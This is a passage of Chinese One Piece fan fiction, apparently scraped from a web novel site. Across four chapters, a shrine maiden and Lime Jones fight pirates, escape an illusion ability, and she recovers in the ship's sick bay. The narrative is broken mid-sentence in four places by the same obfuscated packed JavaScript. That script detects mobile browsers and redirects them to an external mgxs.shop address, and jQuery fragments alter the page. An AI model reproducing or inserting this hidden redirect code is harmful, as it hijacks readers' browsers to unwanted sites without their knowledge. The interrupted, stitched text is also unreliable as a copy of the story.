只不过在那个时刻到来之前,莱姆想,他要杀了面前这两个人,他承诺过不会让那些人中的任何一个接近她,那就是不会。
面前能力者的手型变换着,整条手臂似乎与近旁的砖瓦相融,从那片混沌中现出了一道利器,向他驰来。
利刃嗡鸣,在他举棍格挡之前,前方剑刃一闪,刀刃带
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261285|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着金属的哀声被格到侧旁。
“你——”
乌黑的斗篷从夜色中抛出,遮蔽了来者剑刃的走向。
“你怎么又跑回来了?我不是让你——”
巫女回头看了莱姆一眼,没有回话,随即又扭过头去。
“让我往主船跑,对吧?莱姆。”她第一次郑重地叫了他的名字,声音沉静地融入夜色:
“这就是你说的办法?战斗,一直到死?”
“你听好了,莱姆。”她叹了口气,像是下了什么决定,侧头看向他,他满身血污地站在那里,“我不知道你是怎么想的,但是我——我不想再做让自己后悔的事情了。我不要逃跑。如果你打定主意要死在这里——”
“——那我们就死在一起好了。”
她用手中的巫杖指向面前的敌人。
「对不起,老师、对不起。其实,我一直都想和你去到一个地方。」
梅里提拉神殿的大火仍在燃烧,在她脑中永不停歇。
「我还会回到赫里兹,一定会。」
“喂!对面的低等海贼!”她努力提高自己的声音,心脏砰砰作响,“看什么呢?我就在说你们两个——只会以多欺少的低等海贼!”
像是被“低等海贼”几个字挑了眉头,其中一个戴面罩的人挑衅似的向前迈了一步。
“你说谁呢?小丫头,你哪儿来的?”
“你管我哪儿来的!我是来把你们两个扔到海里去的。”
对面的两人不约而同嗤笑了一声,戴面罩旁边的那个人发话了:
“你想被我们收拾的话得排队,我们先要弄死你身后的那个人,然后再来玩你——你不用着急。”
戴面罩的跟着搭腔:“等会儿,她刚才是不是说要把我们扔到海里?还是我听错了吗?”他讪笑两声,接着说:
“你要用什么把我们扔到海里,用你手里那个——应该不是我看错了吧——厕所里的拖把杆儿?”
“这才不是厕所里的拖把杆儿!”她反驳得稍微有点心虚,“这、这是杂物间里拿的。”她的声音小下去,其实她也不确定这个拖把有没有用过收拾厕所。
“我的老天,你听见没有,”面罩男猛然大笑起来,拍拍身旁同伴的肩膀,“这个既不是干部,也没有赏金的小丫头要用拖把杆把我们捅到海里了——真可怕哈哈哈哈……”
“你别动。”巫女把身后提着棍子就要上前的莱姆摁下了。
“你、你们不要小看这个拖把杆儿!”巫女又转头冲着那两人,“这可不是普通的,这可是——呃、这,这可是四皇船上的拖把杆儿!”
对面的两人面面相觑了一眼,各自笑出了声。
她实在有点说不下去了,但气势上不能输:
“对付你们根本用不着四皇和船员亲自出马,用船上的拖把杆儿就行了——”
好吧。她根本不知道这个破烂又浸了海水的拖把杆儿做巫杖到底能发挥几分作用,希望不要有什么糟糕后果。
“Lumarien falas……faelivrin celair……”
在海贼的嘻笑中,她低声念起咒语。
梅里提拉女神在上,可千万别出什么岔子。
15. 白日呓语(一)
面罩男看到对面女孩的嘴唇动了几下,他没太听清她到底在念叨什么,估计又是什么关于四皇船上拖把杆儿的笑话。
他本想再嘲弄几声,身边的同伴却忽然弯下腰剧烈咳嗽起来。
“喂喂、好家伙,你该不是笑得被自己的口水呛到了吧。”
他起初不以为意,然而却很快失去了戏谑的心情。
他感到有一股咸腥而苦涩的液体猛然从他嗓子眼里不断往外奔涌,灌过口鼻,漫过气管,他下意识地猛烈咳喘,想把胸腔和喉管中积攒的那些水咳出来——但却只是徒劳,不过几秒的时间,尽管他的双脚还踏在陆地上,身体却如溺在海水一般无法呼吸。
“anuiratha……celair……”
他听到了巫女的呢喃,挣扎着用手扣抓嗓子,指甲几乎恐慌地陷到皮肉里。就在他和同伴濒临窒息的边缘,他艰难地抬起脑袋最后看向了那个女孩。
后者用淡漠的神情居高俯视他,嘴里仍旧念念有词。那根曾被他们嘲笑的拖把杆儿——被她握在手里,一端正正指向他们的方向。
“希望这根棍子没让你们失望。”巫女轻声对他们说。
“喂,你还好吗?还走得动路吗?”确定那两人已经没救之后,她随即转过身,来到莱姆身边扶着他的胳膊。
“老天呐,”她看到他身上那些心惊胆战的伤口,总感觉自己身上也跟着难受起来,眉毛鼻子不自觉皱到一起,“我先给你包一下,之后到船上再——喂,莱姆,你还清醒吗?你可千万别死半道儿上了。”
“我才不会。那些家伙差得远了。”莱姆垂下眼眉去看她,她正小心地把斗篷撕开裹在伤口处。
他抿嘴沉默了一会儿,终于还是打算问出口:
“刚才那个是什么?”
“你问哪个?拖把棍子?确实是从你们船上拿的,希望你们的船长别怪罪我弄坏了一根拖把杆。”
她瞅了一眼被撇在一旁的拖把棍子——咒语过后几乎全部被碳化,已经不能用了,这不耐用的破棍子至少达成了它最后的使命。
“我问的不是棍子。”莱姆把后背倚靠到墙壁上,任由她摆弄自己的手臂。
“那我就没什么好说的了。”她的目光低垂,将自己的眼眸藏匿在纤长的睫毛下,月光如注,却使人看不清她的表情。
“你还是不信任我们吗?”或者说,莱姆想,不信任我,“我们现在已经是一条船上的人了。”
巫女微不可察地叹了口气。
“莱姆,我实话和你说,”她抬起了头,语气缓慢地讲述,“我用的那些东西,那并不是什么好东西,搞清楚那些不会给你带来任何好处,更多时候甚至恰恰相反。”
“而且,”她续道,“我想你可能好奇过我为什么会来西屿,明明主船停在东边——我来这儿一开始的目的,就是为了去找别的船离开的。”
她手上包扎的动作并没有停。
“我不觉得我会错意了。”莱姆反驳道,“因为你刚才跟我说——”
“我是说过。但是、”她知道莱姆指的是她那句要跟他死在一起的话,这小子倒是记心里了,“我只是希望你能够稍微惜命一点而已。”
“我要是惜命就不会出来当海贼了。”
“我想也是。”她耸耸肩,把布料在他手臂上缠最后一圈,最后打了一个结。
一时间,两个人沉默着,彼此什么话也没有,她依旧垂着头整理余下的布料,多数已经被血浸红,莱姆就那么呆呆地看着她。
“……对不起。”莱姆听到自己说,他不知道自己为什么要道歉,但他总觉得需要一句类似的话。
她直起身,从地上拾起方才他摘掉的墨镜,用布料简单擦了两下,为他戴回眼睛上,紧接着安抚似的拍拍他的肩膀:
“一起回主船吧,莱姆。”
————————————————
“那个,我问你件事,你别笑我。”
“什么?”
平沙群岛的东屿和西屿间隔绵长,走水路是最便捷的通道。莱姆刚把摆渡船的缆绳解下,就听到巫女在他身后问他。
“「四皇」是干嘛的?”
“你、你不知道这个?!你——”莱姆感觉自己墨镜快从脸上跌下来了,这件事对他的冲击不亚于某岛新手记者在随机采访民生问题时碰到路过的香克斯并把他在报道中称为“热心市民红先生”。
“我不太关注海上的事情。”她撇过头,跳上了摆渡船,“之前你说你们头领刚当上「四皇」,我就在想那是什么?一个职位?听上去很厉害,但也有可能是个外号,比如——你们船长在他家里排行老四——之类的。”
“是伟大航路后半段新世界的霸主,海上的皇帝,一共四个,我们头儿是其中最年轻的,但实力绝对不比那些老家伙差。”莱姆提到船长时,看上去很骄傲,“或者说,我觉得我们船长比那些家伙厉害多了。”
小船顺着海波飘了起来,远远地可以望见隔岸东屿摇曳的灯火。
搞半天是四个地头蛇的意思,可真会起名,她心想,干嘛不直接叫“四贼”,“四蛇”、“四地”,“四头”?好吧,还是四皇听上去好听一点。
“所以刚才那些家伙拼了命也要来找你们麻烦,因为他们想杀了你们老大,自己品尝品尝做地头蛇的感觉?”她靠着船沿,漫不经
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261286|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心地说,“说实话,干嘛不更安全一点儿?比如偷偷在食物里面下药,就好比——同时把两颗恶魔果实榨成汁滴几滴到饭里什么的,还是他们觉得和别人硬拼拳头更让他们有胜利的实感?”
“你那也太阴险了吧?魔术女。我们当海贼也是讲点儿道义的。”她那些主意让他有点愕然。
“拜托你,莱姆,别再叫我魔术女了,这太奇怪了,就像我管你叫「电击小子」一样。我用的不是魔术那些视觉把戏,真希望你是一个分得清魔术和巫术的人。”
“那我要管你叫什么?苹果汁?还是叫「喂」?或者叫「你这家伙」?你连名字也不肯告诉我们。”
“我那是......”巫女刚想开口却又欲言又止,她最终把视线转向一边,“行了,随便你怎么叫好了,你想叫爹叫娘我都不管。”
摆渡船悠悠地划过海面,今夜是满月,粼粼的水波照耀起一片明亮的夜晚。
“莱姆,你觉不觉得......”她手撑在船边向四旁左顾右盼,从刚才开始,她心里就有种怪异的感觉,就像什么东西被放错了地方,但又说不出来。
“怎么了,爹娘?”莱姆露出一点坏笑,像是特意抗议方才她的那番言辞一样。
她瞪了他一眼,没跟他计较名称,看在他现在还是伤员的份儿上。
“有点奇怪。”她说,“这条路程是不是变短了?我来的时候记得坐了很久的摆渡船,咱们这才一会儿功夫,竟然就要到对岸了。”
她抬头看向东屿岸边,远远地已经可以看到雷德弗斯在月光下青灰的轮廓,随着浪的波涛在海面轻轻摇晃。
莱姆直起上身,顺着她的目光同样看向与两人越来越近的雷德弗斯号,他不得不承认,她的感觉是对的。他在雷德弗斯上待了太长时间,他太熟悉这艘船了,但今晚在海岸边停靠的雷德弗斯,却给他一种古怪而难以言说的感觉——就像用柠檬沾酱油吃。
“我先上去看看,”两个人下了摆渡船,莱姆把港口用来割断缆绳的匕首交到她手上,又拎起自己的棍子,他还有一只手能活动,那就足够了,“你先在这儿,万一里面出什么事,就——”
“我跟你一起去。”她语气平淡地说,“我说过我不要再跑了。”
她向四周环视了一圈,港口寂静得可怕,月光惨淡地照射着石砖和木板,周围一个人也没有,只有呜呜的风声,就连平常闹闹哄哄的雷德弗斯号上,如今也听不到一点声音。
这真是一个令人难忘的夜晚,难忘到她今生再也不想经历第二次的程度。
她站在船的接舷处,错愕地看着眼前船上的一切。
——雷德弗斯号上空无一人。
16. 白日呓语(二)
她靠在船舷上,抬起头眺望远方被夜幕包围的群岛和海岸线。莱姆正在船上一个房间一个房间地找人,他推开一扇扇熟悉的门,但没有任何一道声音回应他。
空荡的食堂。空荡的甲板。空荡的瞭望台。空荡的船长室。他几乎找遍了所有地方,但一个人都没有,唯一回应他的只有黑色旗帜被海风鼓动的声响。
“往好点儿想,至少也没有尸体。”她知道这话对他来说称不上安慰,就算是紧急作战,也肯定会留下几个守船的。按现在的状况,估计是出了什么不得了的事。
莱姆看上去有些焦躁,他紧皱着眉头在甲板上来回踱步。
好像只焦躁不安、原地打转的金毛小狗一样,她在旁瞥了他一眼,心想。
她用手肘撑靠着船舷的平台,思绪又转回来。为什么那些人跟蒸发了一样一点痕迹都没留下?不光是这艘船上,目所能及的整片群岛,都笼罩在死一般的寂静中。
不对,也许……她有些被自己的想法吓到了,如果从这艘船上消失的人不是别的船员——而正是她和莱姆呢?
某种果实能力?或者幻术?创造的另一个空间?是从什么时候开始的?
正想着,她忽然听到船下不远处传来依稀模糊的声音,这里还有其他活人吗?
她竖起耳朵仔细听,稚嫩的童声,像小孩子在唱歌:
“平沙屿,浪翻翻
两个水手丢脑袋
脑袋挂上鬼头船”
这歌词她听过,是下午刚登陆时岸边的两个孩子唱的童谣,此时此刻却惊得她脊背发凉。
她撑着船舷探身向外看去,两个穿着白布衬衫的孩子,就在离船不远的海岸旁,彼此扔着球做抛接游戏。
就像感知到她的视线一般,她在看向那两个孩子的瞬间,两个孩子也转身朝向她,这时她方才看清,两个孩子根本不是在抛接球——而是在抛接他们自己的脑袋。
那是两个断头的孩子。
他们的头颅被他们自己捧在手上,嘴唇却不停翕动着,眼珠死盯着她的方向,递出阵阵歌声。
“妈呀———”
她吓得向后猛撤了一大步,差点儿直接坐在甲板上。
“怎么了?!”莱姆听到尖叫,几步窜上来,“敌人吗?”
“头、头掉了——”
“什么头?”莱姆警惕地四周张望了一会儿,除了萧瑟的海风和浪花,船的四旁什么也没有。
“没有啊,不管是头还是头儿,这里哪个都没有。”
“我说的不是你们船长,我说的是——”话语戛然而止,她趴在船舷顺着刚才的方向望过去,那两个孩子的身影消失了,就像从未出现过一样,空荡荡的海岸线只留下层叠扑岸的浪花。
这不是什么空间系的果实能力,而是精神攻击类型的能力吗。
“你们在找头吗?”
一道深沉而空阔的声音,豁然在两人头顶上方响起。
莱姆迅速转身,抬起棍子挡在她身前。巫女不可置信地仰起头,睁大眼睛看着两人面前的庞然大物。
——是雷德弗斯船头的龙头,那条龙头把脖子扭了过来,正对着二人的方向,那条眼神炯然、竖着两根白角的红龙,此刻正呲着利齿对两人说话:
“晚上好!朋友们,月色不错,虽然你们看上去好像不太好。”
“啊......?”莱姆摘了墨镜去看眼前的船头,龙头在说话,他觉得要么是自己眼睛出了问题,要么是墨镜出了问题,要么是精神出了问题。
“嘿!你们俩那么盯着我做什么?船头会说话不是很正常嘛?”红色龙头轻俏地甩了两下脑袋,“相信我,很正常。我刚才听到这里有人需要头?是不是?”
“说的不是你这颗头啦!”巫女对着雷德弗斯的龙头喊道。这个世界已经越来越不正常了,到底是中了什么果实能力的招数?先是两个小孩把自己的脑袋摘下来当球耍,而后船的龙头像活了一样跟他们说话,这都什么跟什么?
“别生气,女士。”雷德弗斯的龙头眨眨眼,“我有东西要送你。”
“你想干嘛?”莱姆先行反应,给棍子蓄了电。
“好伙计莱姆,你要拿那个东西电我吗?我辛苦劳累载你们一船人到这里,没有功劳也有苦劳吧。”雷德弗斯的红龙忽做一副泫然欲泣的样子假哭起来,而后又迅速扮了个鬼脸,“骗你的,电我也没用,我是木头做的。不导电。”
红龙俯下脑袋,从口中吐出了什么东西到甲板上。
“吐的什么东西,不会是谁的脑袋吧。”她抓着莱姆的披风,从他身后探头向前看。
“不是,那看起来更像......”
一颗蛋。红龙从嘴里吐出了一颗蛋。
“这是什么玩意儿?”
“是我的宝贝,快打开看看吧,快。”红龙得意地笑着。
“可疑的蛋。”巫女远远地打量着。
“谁要打开。”莱姆皱着眉头。
那颗蛋左右晃动了两下,自己裂开了。
“里面是什么?”她向前探身走了几步,低头去看,“不会又是谁的人头吧。”
那看上去只是一颗普通的蛋,碎裂后也没出现什么怪异的东西,只有蛋黄从中流出,如果硬要说有什么不对劲的话,那就是蛋黄有四个。
“是四皇啊。”红龙笑嘻嘻地用脑袋蹭着甲板,仰着头傻乐呵起来。
“......”
沉默黏着在两人之间,只有红龙一个在那边笑得乐不可支。
“莱姆,你还是电死它吧。”巫女觉得自己有点头痛,她揉了揉太阳穴,今晚关于四皇的冷笑话就到此结束。
“好!”
“诶诶诶别电我别电我——”
她在这儿实在是一刻也待不下去了。空寂的小岛,诡异的童谣,无头的小孩,傻了吧唧的龙头,无聊的冷笑话,绿色的月亮......
——等等、绿色的月亮?
她抬头去看,月亮什么时候变成绿色的了?
诡异的绿色圆盘挂在天空,比以往的任何时候都要更圆更亮,像夜空永不瞑目的眼睛。
月亮应该是绿色的吗?
“莱姆!”她向远处忙着拿棍子敲红龙脑袋的莱姆喊了一声,“月亮变绿了——”
“啊?”莱姆停了手,顺着她的视线向夜空看去,红龙在他身边脑袋上顶着几个大包假哭起来,“变绿了?正常不就是绿的吗?”
“什么正常啊?这不正常!”她几步跑上前,抓住莱姆的肩膀使劲摇晃,“你清醒一点!不要被这里的东西影响了。月亮正常才不是绿的,放眼整个伟大航路也不是!”
“好了好了别晃了,我知道了,头要晕了。”
“......莱姆,”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261287|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她忽而低下声音,担忧地看着他,“你的镜片怎么也少一个.......”
“没少啊。”他取下自己的墨镜打量一眼,“两个镜片。”
她低头看看他手里的墨镜,又抬头看看他,面无表情,语气也没什么起伏。
“那第三个眼睛怎么办?正常三个眼睛......”
“什么正常三个眼睛?这不正常!”这次换做莱姆抓住她的肩膀使劲摇晃,“你清醒一点!我不是三眼族,正常只有两个眼睛!”
“啊别晃——头好晕——”
这整个空间对人精神的污染已经越来越严重了。
“咱们俩都冷静一点儿吧,要是再不从这里出去,待会儿窜出来个扶老奶奶过马路的天龙人也见怪不怪了。”
诡谲的氛围随着风和海浪波动流过,像铁钳一样挤压着她的太阳穴,她感到自己头痛得快要炸开了。
“你听我说,莱姆。”
天上开始下起细雨,雨丝落到地上,变化成了小猫和小狗。
“再呆在这里,我们两个迟早都会疯掉。所以必须出去。”
远方的海平线上,一群鱼在海面上跑步。
“我想这种精神攻击类的恶魔果实能力和巫术有点相似——只是有一点——所以也许我能解开。”
雷德弗斯的红色龙头在唱着走调的歌。
她牵起他的手——没受伤的那只,将手指轻轻扣在一起。
她的手心有点烫,不,莱姆想,也许发烫的人是我。
“所以,我会向你施加咒语——希望你别害怕这个,只是解开幻觉,趁我的脑子还没疯狂到把咒语也忘记之前。”
她很近地挨着他,近到他可以看清她低垂的睫毛,眉眼旁的发丝,听到她呼吸的声音,和随之起伏的胸口。有那么一会儿,他就这样呆呆地看着她的眼睛。
“啧,”巫女踢了下他的小腿,“我在说话呢,你能不能专心点儿。”
“我很专心。”莱姆反驳道。至少很专心地在看你,他想。
“我不保准你离开这里之后会遇到什么,”巫女抬头看了他一眼,随即又低下目光,“所以,如果我们都能活着离开这里的话,之后——”她的声音也渐渐低下去,最后几个字像是挤出来的,“之后我有话想跟你说。”
“什么话你可以现在就说,”莱姆无视了想要爬上他大腿的一只猫,天空中落下的雨水变成的动物将要把甲板挤满了,猫和狗的嘴里发出几声牛叫。
巫女没回答他的话,只是念起了咒语。
他感到有一阵炽热的力量从和她交握着的手流向心脏,像火焰,也像河流。
“不对,等等——”莱姆才反应过来,想要挣开她的手,但已经来不及了。
“你刚才说我离开这里,那你怎么办?”他想用力抬起另一只手去抓住她的肩膀,但为时已晚——他的身体已经渐渐变得透明,够不到这个世界里的任何东西,“这个咒语你能对自己施吗?快告诉我,你——”
她依旧没有对他说任何话。只是注视着他的身体渐渐透明,直至将要消失在这个可笑又诡异的世界。
答案已经显而易见了。
“你就别管我了,莱姆。”在他消失前的最后一瞬间,他听到了她的声音,看到她的身影笼罩在那个世界巨大的阴影下。
“我有我的办法,你该走就走。”
17. 今夜无人入眠(一)
世界在溶解。
巫女以为自己已经学到了教训,可她没有——从来都没有。
天上的雨滴碰到甲板就变成了猫和狗,那些小动物的轮廓开始在她眼前纷纷软化、模糊了原有的形状,它们的皮毛和口鼻泛起涟漪,从身体各处长出了许多只眼睛和嘴巴。
她干脆坐在雷德弗斯的甲板上,背靠着楼梯的扶手,闭上眼睛不去看。
早知道就不该牵扯进这烂摊子事里来。早知道当时在港口就该一走了之。她捂着眼睛,感到很后悔,但也没什么后悔的,值得后悔的事情实在太多了,从一开始就全都错了。
那些猫狗幻化成的怪物开始爬到她身上——用很多只蠕动的手,并渐渐开始发出声音,那是一种比走调的破烂风琴更为尖利和刺耳的音色,很多道声音层层叠叠地、像波浪一样在她耳边密集地涌动,低声的哀嚎、高声的咆哮、夹杂着细密而难以分辨的絮语,以及模仿着各类动物和人物的尖叫与嘶吼。
好了,这下连耳朵都得捂住了。
她抱住脑袋低下头,任凭那些难以言喻又不可名状的生物攀上她的身体。
尖利的哭嚎在她耳边臻至顶峰,又像突然从空中摔落那样戛然而止。
“小塞迪亚。”
她听见了一道无比熟悉的声音,在嘈杂的喧闹声骤然停止之后。
她诧然地睁开眼抬起头,双手无力地垂在身侧。
“老师......”
雷德弗斯消失了,取而代之的是梅里提拉神殿的景色。和煦又温柔的阳光照耀着洁白的塔门,列柱大厅青白的石柱切割出整齐的光影,露天庭院里种植的金雀花和蔷薇从的花瓣与枝叶上仍旧沾着清晨的露珠。小鸟在唱歌。
“可怜的小塞迪亚,”她的老师——金发的大祭司蹲下身捧起她的脸,怜爱地看着她,“你还是回来这里了,命运从不放过任何人。”
“老师——”她抚上金发祭司的手,一双冰冷无比的手,提醒着她这儿的一切仍是幻觉,可看上去却那么真实。
塞迪亚。好久都没人那样称呼她了——自从她离开赫里兹王国后就再也没有——那其实并不是她的名字,王国的每一任巫女都叫塞迪亚,比起名字,那更像是一种职位。
“塞迪亚......塞迪亚,”金发祭司的眼里流出血泪,面容在一片模糊不清的幻影中扭曲着,那双冰冷的手开始阵阵抽搐,忽地掐紧了她的脖子。
神殿的景色跟着扭动,一切都如同浸在地狱的业火中。花丛迅速衰败,鸟儿跟着死去。
在巫女惊恐的眼神和挣扎中——金发祭司的面容变换成了老国王的样子。
赫里兹的老国王抓着她,用沙哑的嗓音向她嘶吼着质问:
“你为什么背弃我!……塞迪亚!”
————————————————
“她什么时候会醒?”
“你已经问了快有三十遍了,莱姆,”本乡有点不耐烦地回答,“劲没处使就跟实习生去拖甲板,那上面的血腥味现在还没散呢。还有,让让地儿。”
本乡越过他去翻找药柜子里的珍珠母和石菖蒲,手头剩下的存量不多了。莱姆只是稍微侧了下椅子让对方通过,但依旧没起身,他坐在医务室的床前,巫女躺在上面,脸色惨白地紧闭双眼,看上去很痛苦。她仍旧在幻觉中昏迷。
“那什么时候能醒。”莱姆把胳膊搭在床沿,依旧执着地问。
“三十一遍。”本乡没忍住瞪了他一眼,他开始后悔在莱姆第一次问他的时候就告诉他「能力者被杀了之后,吃了药应该很快就会恢复」这种话。
他同样走到床边靠近她,用手背贴上她的额头,“今天恐怕醒不了,又开始低烧了。”本乡踢了下凳子腿,“你没事干就去给我找药,别整天在这闹人——那个药柜,对,红色旁边的,就放在最下层。”本乡想办法指使莱姆去干点活儿,省的一会儿一叭叭闹得他心烦。
莱姆埋头翻箱倒柜了一会,心不在焉地停下动作,又转头往病床上瞧瞧。
“她没醒。你找你的。”本乡对他的耐心已经见底了,他早知道对方想问什么。
莱姆转过头继续翻药柜,把压在最下层风干药草上面的东西一个个挪开:“本乡,我有个问题。”
“没醒!”本乡发誓,莱姆如果再念叨他一次,他立马就要拿棍子把他打出去。
“我没问的这个,我想问你要的是最下层这个黑叶子的药,还是这个白色的?”莱姆把药袋展开向他展示了一下。
“拿白的就行。”莱姆长进了,难得没烦他,他有点欣慰,但珍珠母剩下的不多了。
“那她吃了这个药之后会醒吗?”莱姆紧跟着问。
————————————————
把莱姆轰出去之后,医务室里安静多了——准确地说,他把莱姆打发出去买珍珠母了。
“她不吃药就不会醒,药里没有珍珠母就没效,你不出去买珍珠母她就醒不了。”
莱姆被本乡的三段论诓得一愣一愣,二话不说就抓着药袋下船买东西了。
现在医务室里就剩自己和她两个人,本乡松了口气,拉开刚才床边的那张椅子,坐了下去。
有那么一会儿,他就坐在椅子上安静地看着她,端详着她的面庞和五官,向下是脖颈、肩膀和锁骨,以及搭在被子上的手臂和手掌。
骨头生得很端正,也很耐看。他想。能这样看她并不是一件常事,甚至说,由于她上船之后总是躲躲藏藏的,以至于能看到她人影都不是件常事。
这怎么不算是命运呢,本乡想。前段时间——就在前不久,躺在床上和坐在床边椅子上的患者和医生角色还刚好反过来了。
他抓起床头桌台柜上的一张手稿,目光落在了上面的文字上——那是她曾经开过的一张药方,就在她刚登船的那几天,匆忙塞给他之后就离开了,上面写的药草他基本全都认识,除了一样——
“芮桑花。”他喃喃自语地念着。
那到底是什么东西,据他所知,没有任何一种生在陆地上的花叫这个名字。
“是北方深海覃鱼的鳞片。”
本乡听到一道声音,那声音不大,但他在安静的医务室里听得一清二楚,他放下眼前的手稿,看到病床上的人睁开了眼睛。
“你醒了!”
他赶忙从椅子上站起身,伸出手去探她额头的温度:“有没有哪里不舒服?头还疼不疼?眼睛还能看清吗?好了,别勉强,先别起来。”
“我没事,医生。”她轻轻地挡开了伸来的手,用力撑着胳膊想从床上坐起身,嗓音里仍带着沙哑的疲惫,“我躺了几天?”
“稍微慢点,”他帮着扶起她的上身,又从邻近床位拽了两个靠枕垫在她身后,“我们杀了那个古怪的致幻能力者——给他沉到海里去了,他还算是个有骨气的家伙,至少死得很干脆。”本乡又坐回了椅子上,继续说:“按理说,他的古怪能力该解除了,可从那过了两天,你一直都在昏迷。”
“不过好在你醒了,”本乡向她笑笑,“不然我早晚会被那帮家伙烦死的。现在还有哪里觉得难受吗?”
“是我的问题,我一直、”她叹了口气,盯着被角发呆,“一直都陷在那些梦里,那些梦一个接着一个,就像放电影一样。劳你担心了,医生。”
巫女的精神耐受力比平常人要强上不少,只是不知道对她而言这究竟是不是件好事。
“医生。”她沉默了一会儿,终于尝试着询问,“我——我、中途
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261288|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没说过什么胡话吧?就是昏迷的时候。”
“你说了。”本乡不打算对她隐瞒,他坐在床边的椅子上,看着她惨白的脸和眼下的乌青,“莱姆刚抱你回来的时候,你一直在无意识地念叨,「赫里兹王」、还有「老师」之类的话,还有一些我听不太懂的。”
听到那些熟悉的词语之后,她讶异而愣怔地抬头望着本乡,似乎想开口解释些什么,但最终什么都没说出口。
“我知道,”本乡先于她开口了,尽管他还没想好该如何称呼她,“其实......”
话音未落,医务室的门被“砰”地一声打开,他的话即刻被打断了。
“本乡!药我买回——”
金发的青年风风火火地闯了进来,手里拎满了东西,几个药袋子、一根棍子,和一盒里面不知道装着什么的东西。
莱姆刚进门,话还未说到一半,一眼看到床上坐着的人,身体先是怔了一下,而后,他手上提着的棍子盒子和药袋子,被他叮呤咣啷地一股脑儿撒手丢到地上。
她本想跟莱姆打个招呼,经过那些度日如年的幻梦,真是好久不见,可还没等她反应过来,就已经被紧紧地抱住了。
好像被一只金毛犬突然扑过来抱住了一样。
“喂喂,”莱姆冲过来的速度太快了,差点把本乡从椅子上挤下来,他刚才的话还没说完呢。
莱姆拥抱她的力气稍微有点大,她甚至可以感受到他健康有力的心跳声,在他胸膛中起伏。就像搂着一只大狗狗一样,很暖和,她想,这次不再是幻觉了。
“好啦好啦,”她轻声说,安抚似的拍拍他的肩膀,“我已经没事了。”
他依旧没说话,只是紧贴着她的身体,把头埋在她的肩窝上,任由发丝倾泻在她身上。
“我真的没事了,你看,雷德弗斯号的龙头不会说话,天上的雨不会变成猫狗,寻常人有两只眼睛,对吧?莱姆,”她又拍拍他的肩膀,这次带有一点鼓励的意味,“我很高兴你看上去也很好,头抬起来,让我看看你。”
莱姆照她的话抬起头,但依旧握着她的手臂。
“嗯......月亮是什么颜色的?”
“有红的黄的,反正不是绿的。”莱姆回答。
“你的胳膊怎么样了?我记得当时伤的很重。”
“好多了,别管它了,那不算什么,我们头儿连胳膊断的时候都没喊过疼。”莱姆顿了一下,继续说,“倒是你——别再做那种事了,哪怕我活下去也不会安心的,要死就死一起,这不是你说的吗?”
“我只是不想我们两个都完蛋,”巫女心虚地看着莱姆,随即又垂下头,“好吧,抱歉......”
莱姆这家伙,突然冲过来抱着人家姑娘在讲什么话啊,本乡在一边看着,犹豫着要不要说点什么。
“啊......对了,”巫女抬起头,像是想起什么似的,也可能是为了缓解气氛,“我之前不是说过有话想跟你说吗?”
“我记得,是什么?”
“那个......就是、”她看着莱姆,想到自己要说的话,又有点难为情地移开视线。
他看到她面色赧然的样子,心里也跟着紧了一下,如果是他想的那样的话,他觉得这种事需要他来主动才对,“等等,我——”
“我也是突然想到的!”巫女打断了他,像是下定了什么决心,“那个,其实我一直都想知道......”
她续道:“我一直都想知道,你叫「莱姆琼斯」这个名字,其实是不是因为你妈妈当时在怀你的时候特别喜欢喝柠檬汁的缘故。”
她的眼睛亮晶晶的,看上去真的很好奇这件事。
“......啊?”
莱姆不知道该说什么。
18. 今夜无人入眠(二)
海岸边此起彼伏的嘈杂声隔着舷窗透进医务室,那帮家伙又忙着做宴会准备了,前两天被敌袭耽误了宴会没开起来,一打完胜仗,吃吃喝喝又给抓紧安排上行程。
什么由头无所谓,重要的是今朝有酒今朝醉。
本乡把莱姆刚带回来的药草整理收拾进药柜摆好,起身拾起桌边的湿毛巾擦干净手上的药粉。
“医生……”巫女盯着他手头的动作,身体向后倚靠在床头,“你刚才有什么话想说。”
